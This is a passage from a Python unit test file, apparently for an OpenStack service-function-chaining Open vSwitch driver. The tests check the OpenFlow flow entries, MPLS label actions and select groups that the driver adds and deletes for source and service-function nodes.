'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 2048,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_src_node_next_hops_same_host_a_no_proxy(self):
self._prepare_update_flow_rules_src_node_next_hops_same_host_a(
'mpls', 'mpls')
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def _prepare_update_flow_rules_sf_node_next_hops_add_fcs(self,
pc_corr,
pp_corr,
pp_corr_nh):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
},
'6331a00d-779b-462b-b0e4-6a65aa3164ef': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': '6331a00d-779b-462b-b0e4-6a65aa3164ef',
'next_hops': [{
'local_endpoint': '10.0.0.2',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': pp_corr_nh
}],
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_update_flow_rules_sf_node_next_hops_add_fcs(self):
self._prepare_update_flow_rules_sf_node_next_hops_add_fcs('mpls',
None,
None)
self.assertEqual(
[{
'actions': (
'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,mod_vlan_vid:0,,output:2'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 2048,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}, {
'actions': 'strip_vlan, pop_mpls:0x0800,output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_sf_node_next_hops_add_fcs_nh(self):
self._prepare_update_flow_rules_sf_node_next_hops_add_fcs('mpls',
None,
'mpls')
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,output:2'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}, {
'actions': 'strip_vlan, pop_mpls:0x0800,output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flowrules_srcnode_no_nexthops_add_del_fcs_symmetric(self):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'src_port',
'ofport': 32,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
for flow_rule in self.node_flowrules:
if flow_rule['fwd_path']:
status = []
self.agent.update_flow_rules(
{
'nsi': 255,
'ingress': None,
'next_hops': None,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': u'29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': None,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
self.assertEqual(
[{
'actions': 'normal',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': u'10.100.0.0/16',
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.deleted_flows
)
self.assertEqual(
{},
self.group_mapping
)
else:
status = []
self.agent.update_flow_rules(
{
'nsi': 255,
'ingress': None,
'next_hops': None,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.100.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.200.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': u'8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'next_group_id': None,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.100.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': u'10.200.0.0/16',
'destination_port_range_min': 100,
'ethertype': u'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': False
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
self.assertEqual(
[{
'actions': 'normal',
'dl_type': 2048,
'in_port': 32,
'nw_dst': u'10.100.0.0/16',
'nw_proto': 6,
'nw_src': u'10.200.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}],
self.added_flows
)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 32,
'nw_dst': u'10.100.0.0/16',
'nw_proto': 6,
'nw_src': u'10.200.0.0/16',
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}],
self.deleted_flows
)
self.assertEqual(
{},
self.group_mapping
)
def _test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy(self,
pp_corr_nh):
self._prepare_update_flow_rules_sf_node_next_hops_add_fcs('mpls',
'mpls',
pp_corr_nh)
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,output:2'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 34887,
'in_port': 42,
'mpls_label': 65791,
'priority': 30,
'table': 0
}, {
'actions': 'strip_vlan, output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy(self):
self._test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy(None)
def test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy_nh(self):
self._test_update_flow_rules_sf_node_next_hops_add_fcs_no_proxy('mpls')
def _prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs(
self, pc_corr, pp_corr, pp_corr_nh):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
},
'6331a00d-779b-462b-b0e4-6a65aa3164ef': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': '6331a00d-779b-462b-b0e4-6a65aa3164ef',
'next_hops': [{
'local_endpoint': '10.0.0.1',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': pp_corr_nh
}],
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'pc_corr': pc_corr,
'pp_corr': pp_corr,
'id': uuidutils.generate_uuid(),
'fwd_path': True
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_update_flow_rules_sf_node_next_hops_same_host_add_fcs(self):
self._prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs(
'mpls', None, None)
self.assertEqual(
[{
'actions': (
'push_mpls:0x8847,set_mpls_label:65791,set_mpls_ttl:255,'
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 2048,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}, {
'actions': 'strip_vlan, pop_mpls:0x0800,output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_sf_node_next_hops_same_host_add_fcs_nh(self):
self._prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs(
'mpls', None, 'mpls')
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}, {
'actions': 'strip_vlan, pop_mpls:0x0800,output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def _test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(self,
pp_c_nh):
self._prepare_update_flow_rules_sf_node_next_hops_same_host_add_fcs(
'mpls', 'mpls', pp_c_nh)
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 34887,
'in_port': 42,
'mpls_label': 65791,
'priority': 30,
'table': 0
}, {
'actions': 'strip_vlan, output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(self):
self._test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(None)
def test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy_nh(self):
self._test_update_flow_rules_sf_node_next_hops_same_h_a_no_proxy(
'mpls'
)
def _prepare_update_flow_rules_sf_node_many_hops_all_mpls(self, pp_corr):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'1234d2b3-746d-4868-ae0e-e81861c25678': {
'port_name': 'port3',
'ofport': 9,
'vif_mac': '00:01:02:0a:0b:0c',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
},
'6331a00d-779b-462b-b0e4-6a65aa3164ef': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
}
status = []
self.sfc_driver.update_flow_rules(
{
'nsi': 255,
'ingress': '6331a00d-779b-462b-b0e4-6a65aa3164ef',
'next_hops': [{
'local_endpoint': '10.0.0.1',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': 'mpls'
}, {
'local_endpoint': '10.0.0.1',
'ingress': '1234d2b3-746d-4868-ae0e-e81861c25678',
'weight': 1,
'net_uuid': '1234d2b3-746d-4868-ae0e-e81861c25678',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'in_mac_address': '12:34:56:78:ab:cd',
'pp_corr': 'mpls'
}],
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'add_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'pc_corr': 'mpls',
'pp_corr': pp_corr,
'id': uuidutils.generate_uuid(),
'fwd_path': True
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def _assert_update_flow_rules_sf_node_many_hops_no_proxy(self):
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:ab:cd',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'group:1',
'dl_type': 34887,
'in_port': 42,
'mpls_label': 65791,
'priority': 30,
'table': 0
}, {
'actions': 'strip_vlan, output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5),'
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:ab:cd, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def test_update_flow_rules_sf_node_many_hops_all_mpls_no_proxy(self):
self._prepare_update_flow_rules_sf_node_many_hops_all_mpls('mpls')
self._assert_update_flow_rules_sf_node_many_hops_no_proxy()
def test_update_flow_rules_sf_node_many_hops_all_mpls(self):
self._prepare_update_flow_rules_sf_node_many_hops_all_mpls(None)
self.assertEqual(
[{
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:cf:23',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': (
'mod_vlan_vid:0,,resubmit(,10)'),
'dl_dst': '12:34:56:78:ab:cd',
'dl_type': 34887,
'priority': 0,
'table': 5
}, {
'actions': 'push_mpls:0x8847,set_mpls_label:65791,'
'set_mpls_ttl:255,group:1',
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff'
}, {
'actions': 'strip_vlan, pop_mpls:0x0800,output:6',
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'dl_vlan': 0,
'mpls_label': 65792,
'priority': 1,
'table': 10
}],
self.added_flows
)
self.assertEqual(
{
1: {
'buckets': (
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:cf:23, '
'resubmit(,5),'
'bucket=weight=1, '
'mod_dl_dst:12:34:56:78:ab:cd, '
'resubmit(,5)'
),
'group_id': 1,
'type': 'select'
}
},
self.group_mapping
)
def _prepare_delete_flow_rules_sf_node_empty_del_fcs(self, pc_corr,
pp_corr):
self.port_mapping = {
'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': {
'port_name': 'src_port',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.delete_flow_rule(
{
'nsi': 254,
'ingress': u'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579',
'next_hops': None,
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536',
'next_group_id': None,
'nsp': 256,
'add_fcs': [],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_delete_flow_rules_sf_node_empty_del_fcs(self):
self._prepare_delete_flow_rules_sf_node_empty_del_fcs('mpls', None)
self.assertEqual(
[{
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'mpls_label': 65791,
'table': 10
}],
self.deleted_flows
)
self.assertEqual(
[],
self.deleted_groups
)
def test_delete_flow_rules_sf_node_empty_del_fcs_no_proxy(self):
self._prepare_delete_flow_rules_sf_node_empty_del_fcs('mpls', 'mpls')
self.assertEqual(
[{
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'mpls_label': 65791,
'table': 10
}],
self.deleted_flows
)
self.assertEqual(
[],
self.deleted_groups
)
def _prepare_delete_flow_rules_src_node_empty_del_fcs(self, pc_corr,
pp_corr):
self.port_mapping = {
'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': {
'port_name': 'src_port',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.delete_flow_rule(
{
'nsi': 254,
'ingress': None,
'next_hops': None,
'del_fcs': [],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536',
'next_group_id': None,
'nsp': 256,
'add_fcs': [],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def _test_delete_flow_rules_src_node_empty_del_fcs(self, pc_corr,
pp_corr):
self._prepare_delete_flow_rules_src_node_empty_del_fcs(pc_corr,
pp_corr)
self.assertEqual(
[],
self.deleted_flows
)
self.assertEqual(
[],
self.deleted_groups
)
def test_delete_flow_rules_src_node_empty_del_fcs(self):
self._test_delete_flow_rules_src_node_empty_del_fcs('mpls', None)
def test_delete_flow_rules_src_node_empty_del_fcs_no_proxy(self):
self._test_delete_flow_rules_src_node_empty_del_fcs('mpls', 'mpls')
def _prepare_delete_flow_rules_sf_node_del_fcs(self, pc_corr,
pp_corr):
self.port_mapping = {
'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': {
'port_name': 'src_port',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.delete_flow_rule(
{
'nsi': 254,
'ingress': u'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579',
'next_hops': None,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'group_refcnt': 1,
'node_type': 'sf_node',
'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536',
'next_group_id': None,
'nsp': 256,
'add_fcs': [],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def test_delete_flow_rules_sf_node_del_fcs(self):
self._prepare_delete_flow_rules_sf_node_del_fcs('mpls', None)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}, {
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'mpls_label': 65791,
'table': 10
}],
self.deleted_flows
)
self.assertEqual(
[],
self.deleted_groups
)
def test_delete_flow_rules_sf_node_del_fcs_no_proxy(self):
self._prepare_delete_flow_rules_sf_node_del_fcs('mpls', 'mpls')
self.assertEqual(
[{
'dl_type': 34887,
'in_port': 42,
'mpls_label': 65790,
'priority': 30,
'table': 0,
'strict': True,
}, {
'dl_dst': '00:01:02:03:05:07',
'dl_type': 34887,
'mpls_label': 65791,
'table': 10
}],
self.deleted_flows
)
self.assertEqual(
[],
self.deleted_groups
)
def _prepare_delete_flow_rules_src_node_del_fcs(self, pc_corr,
pp_corr):
self.port_mapping = {
'dd7374b9-a6ac-4a66-a4a6-7d3dee2a1579': {
'port_name': 'src_port',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'2f1d2140-42ce-4979-9542-7ef25796e536': {
'port_name': 'dst_port',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.delete_flow_rule(
{
'nsi': 254,
'ingress': None,
'next_hops': None,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': u'2f1d2140-42ce-4979-9542-7ef25796e536',
'next_group_id': None,
'nsp': 256,
'add_fcs': [],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def _test_delete_flow_rules_src_node_del_fcs(self, pc_corr, pp_corr):
self._prepare_delete_flow_rules_src_node_del_fcs(pc_corr,
pp_corr)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}],
self.deleted_flows
)
self.assertEqual(
[],
self.deleted_groups
)
def test_delete_flow_rules_src_node_del_fcs(self):
self._test_delete_flow_rules_src_node_del_fcs('mpls', None)
def test_delete_flow_rules_src_node_del_fcs_no_proxy(self):
self._test_delete_flow_rules_src_node_del_fcs('mpls', 'mpls')
def _prepare_delete_flow_rules_src_node_next_hops_del_fcs(self,
pc_corr,
pp_corr,
pp_corr_nh):
self.port_mapping = {
'8768d2b3-746d-4868-ae0e-e81861c2b4e6': {
'port_name': 'port1',
'ofport': 6,
'vif_mac': '00:01:02:03:05:07',
},
'29e38fb2-a643-43b1-baa8-a86596461cd5': {
'port_name': 'port2',
'ofport': 42,
'vif_mac': '00:01:02:03:06:08',
}
}
status = []
self.sfc_driver.delete_flow_rule(
{
'nsi': 255,
'ingress': None,
'next_hops': [{
'net_uuid': '8768d2b3-746d-4868-ae0e-e81861c2b4e7',
'network_type': 'vxlan',
'segment_id': 33,
'gw_mac': '00:01:02:03:06:09',
'cidr': '10.0.0.0/8',
'local_endpoint': '10.0.0.2',
'ingress': '8768d2b3-746d-4868-ae0e-e81861c2b4e6',
'weight': 1,
'in_mac_address': '12:34:56:78:cf:23',
'pp_corr': pp_corr_nh
}],
'add_fcs': [],
'group_refcnt': 1,
'node_type': 'src_node',
'egress': '29e38fb2-a643-43b1-baa8-a86596461cd5',
'next_group_id': 1,
'nsp': 256,
'del_fcs': [{
'source_port_range_min': 100,
'destination_ip_prefix': u'10.200.0.0/16',
'protocol': u'tcp',
'l7_parameters': {},
'source_port_range_max': 100,
'source_ip_prefix': '10.100.0.0/16',
'destination_port_range_min': 100,
'ethertype': 'IPv4',
'destination_port_range_max': 100,
}],
'id': uuidutils.generate_uuid(),
'fwd_path': True,
'pc_corr': pc_corr,
'pp_corr': pp_corr
},
status
)
self.assertEqual(
[],
self.executed_cmds
)
def _test_delete_flow_rules_src_node_next_hops_del_fcs(self,
pc_corr,
pp_corr,
pp_corr_nh):
self._prepare_delete_flow_rules_src_node_next_hops_del_fcs(pc_corr,
pp_corr,
pp_corr_nh)
self.assertEqual(
[{
'dl_type': 2048,
'in_port': 42,
'nw_dst': u'10.200.0.0/16',
'nw_proto': 6,
'nw_src': '10.100.0.0/16',
'priority': 30,
'table': 0,
'tp_dst': '0x64/0xffff',
'tp_src': '0x64/0xffff',
'strict': True,
}, {
'dl_dst': '12:34:56:78:cf:23',
'table': 5
}],
self.deleted_flows
)
self.assertEqual(
[1],
self.deleted_groups
)
def test_delete_flow_rules_src_node_next_hops_del_fcs(self):
